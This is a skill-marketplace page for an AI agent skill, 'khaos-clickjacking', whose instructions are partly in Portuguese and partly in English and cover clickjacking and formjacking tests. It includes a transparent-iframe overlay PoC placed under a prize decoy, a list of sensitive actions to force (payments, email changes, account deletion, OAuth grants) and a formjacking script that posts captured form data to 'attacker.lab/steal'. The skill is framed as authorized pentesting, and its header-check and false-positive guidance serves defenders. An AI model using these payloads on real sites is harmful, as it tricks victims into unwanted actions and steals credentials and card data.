# Khaos Clickjacking

> name: khaos-clickjacking

- Skill: `henriqqw/khaos-clickjacking` (Agent Skill)
- Install (CLI): `npx get-skill add henriqqw/khaos-clickjacking`
- Raw SKILL.md: https://api.skillmd.com/api/skills/henriqqw/khaos-clickjacking/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: henriqqw (https://skillmd.com/u/henriqqw)
- Updated: 2026-11-18
- Page: https://skillmd.com/skills/henriqqw/khaos-clickjacking

---

﻿---
name: khaos-clickjacking
description: Clickjacking real — embutir páginas em iframes maliciosos para forçar ações do usuário, formjacking para capturar dados de formulários e takeover de conta via clickjacking
metadata:
  khaos:
    tool_ids: [httpx, nuclei]
    wordlist_ids: []
    stages: [vuln, validation, exploitation]
    source_type: original
    source:
      repository: https://github.com/henriqqw/Khaos
      revision: internal
      path: internal/skillseed/catalog/khaos-clickjacking/SKILL.md
      license: MIT
      reviewed_by: Khaos maintainers
      review_note: Skill de clickjacking executável — permite forçar ações do usuário via iframe e capturar dados de formulários dentro do escopo.
---

# Clickjacking e Formjacking — Ataques Reais

## Objetivo

Explorar clickjacking para forçar usuários a realizar ações não intencionais (confirmar pagamento, alterar email, deletar conta, autorizar acesso) e formjacking para capturar dados de formulários (credenciais, cartões de crédito, dados pessoais) dentro do escopo.

## Pré-condições

- Lista de URLs da aplicação em escopo.
- DevTools do browser para testes de iframe.
- Autorização para teste de clickjacking (authorization plan com `aggressive: true`).

## Procedimento Executável

### 1. Verificar proteção contra iframe
```bash
httpx -l urls.txt -include-response-header X-Frame-Options
httpx -l urls.txt -include-response-header Content-Security-Policy
```
Ausência de `X-Frame-Options: DENY` ou `CSP: frame-ancestors 'none'` = vulnerável.

### 2. PoC de clickjacking
Crie página HTML que embute o target em iframe transparente sobre botão iscal:
```html
<html>
<style>
  #target { position: relative; width: 800px; height: 600px; opacity: 0.05; z-index: 2; }
  #decoy { position: absolute; width: 200px; height: 50px; z-index: 1; }
</style>
<div id="decoy">Clique aqui para ganhar um prêmio!</div>
<iframe id="target" src="https://target.com/confirm-payment"></iframe>
</html>
```

### 3. Forçar ações sensíveis
Identifique páginas embutíveis que permitem ações:
- Confirmar pagamento/transferência
- Alterar email/senha
- Deletar conta
- Autorizar aplicação OAuth
- Adicionar método de pagamento

### 4. Formjacking — scripts externos
Inspecione páginas com formulários de pagamento/dados pessoais. Liste scripts externos:
```html
<script src="https://cdn.externo.com/js/payment.js"></script>
<script src="https://tracker.externo.com/analytics.js"></script>
```

Verifique integridade SRI:
```html
<!-- Sem SRI = vulnerável a formjacking -->
<script src="https://cdn.externo.com/js/payment.js"></script>

<!-- Com SRI = protegido -->
<script src="https://cdn.externo.com/js/payment.js" integrity="sha384-..." crossorigin="anonymous"></script>
```

### 5. Injetar código malicioso via formjacking
Se conseguir modificar script externo ou injetar via XSS:
```javascript
document.querySelector('form').addEventListener('submit', function(e) {
  const data = new FormData(this);
  fetch('https://attacker.lab/steal', { method: 'POST', body: data });
});
```

### 6. Validação de impacto
- Clickjacking com ação sensível = alto/crítico
- Clickjacking sem ação sensível = informational
- Formjacking com captura de credenciais/pagamento = crítico

## Execução via ferramentas do Khaos

- **httpx**: detecção de cabeçalhos X-Frame-Options e CSP ausentes
- **nuclei**: templates de detecção de clickjacking
- **Burp Suite**: criação de PoC de clickjacking e teste de formjacking
- **Comando arbitrário**: `khaos_exec_shell` para scripts de teste automatizados

## Condições de Parada

- `X-Frame-Options: DENY` ou `CSP: frame-ancestors 'none'` presente em todas as páginas com ações sensíveis.
- Todos os scripts externos com `integrity` SRI e domínios confiáveis.

## Referências

- OWASP Clickjacking Defense Cheat Sheet
- Magecart: Formjacking attack campaigns (Ticketmaster, British Airways, 2018)
- W3C: Subresource Integrity (SRI)
## BugHunter Patterns

*Patterns sourced from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-clickjacking/SKILL.md)*

## What is Clickjacking

Clickjacking (UI Redressing) lets an attacker load a target page inside a transparent iframe on a malicious site. The victim sees the attacker's decoy UI but clicks the hidden target UI beneath it. No JavaScript on the target is required.

**Highest-value targets:**
- Login / authentication pages — force login with attacker credentials
- Money transfer / checkout / "confirm payment" buttons
- Account settings (email change, password change, 2FA disable)
- OAuth / social-login "Authorize app" confirmation dialogs
- Admin actions (delete, promote user, change role)

## Protection Headers

Two mechanisms prevent framing:

```
X-Frame-Options: DENY              # strongest — blocks all framing
X-Frame-Options: SAMEORIGIN        # allows same-origin frames only
Content-Security-Policy: frame-ancestors 'none'     # CSP equivalent of DENY
Content-Security-Policy: frame-ancestors 'self'     # CSP equivalent of SAMEORIGIN
```

If NEITHER is present, the page is frameable from any origin.

## How to Test

Header-absence is the **trigger for investigation, not the finding**. Two steps:

**Step 1 — Header check (screening).** Fetch the target page and inspect the response headers:

```
curl -sI https://target.example/account/transfer | grep -iE 'x-frame-options|content-security-policy'
```
If BOTH `X-Frame-Options` and CSP `frame-ancestors` are absent, the page is a *candidate*. If either is present and restrictive (`DENY`/`SAMEORIGIN`/`frame-ancestors 'none'|'self'`), stop — it's protected.

**Step 2 — Prove it actually frames and clicks (required for a real finding).** Build a minimal PoC and load it in a real browser:

```html
<!doctype html>
<h1>Win a prize — click below</h1>
<iframe src="https://target.example/account/transfer"
        style="opacity:0.1;position:absolute;top:0;left:0;width:1000px;height:800px"></iframe>
```
Confirm ALL of the following, or it is not exploitable:
- The page **actually renders inside the iframe** (no framebusting JS that blanks/redirects it — e.g. `if(top!==self)` breakout, or a `Sec-Fetch-Dest`/JS frame check).
- The **sensitive action still works while framed** — critically, the action must succeed *cross-site*. If it relies on a session cookie set `SameSite=Lax` or `SameSite=Strict` (the modern default), the cookie is **not** sent on the cross-site framed request, and the clickjack fails. Verify the victim's authenticated state carries into the frame.
- The target is a **state-changing action** (transfer, settings/email/password change, 2FA disable, OAuth authorize, admin action), not a read-only page.

**Strategy:** target the most sensitive action pages first — severity scales directly with what the victim is tricked into doing.

## False Positives

- Public, read-only pages (home/marketing) lacking frame protection are low/informational — no sensitive action to redress.
- APIs and non-HTML endpoints (JSON, images) are not clickjacking targets.
- **Header-absence alone is NOT a finding.** SameSite cookies, framebusting JS, or the lack of any sensitive framed action can each fully defeat it — which is why Step 2 is mandatory.

## Proof Requirements

A valid clickjacking report shows: (1) the target page rendered inside an attacker-controlled iframe in a real browser, (2) a sensitive state-changing action reachable by a framed click while the victim is authenticated (cookies survive the cross-site context), and (3) a screenshot/recording of the overlay. Reporting missing headers with no working frame PoC is a documentation-quality issue, not a vulnerability.
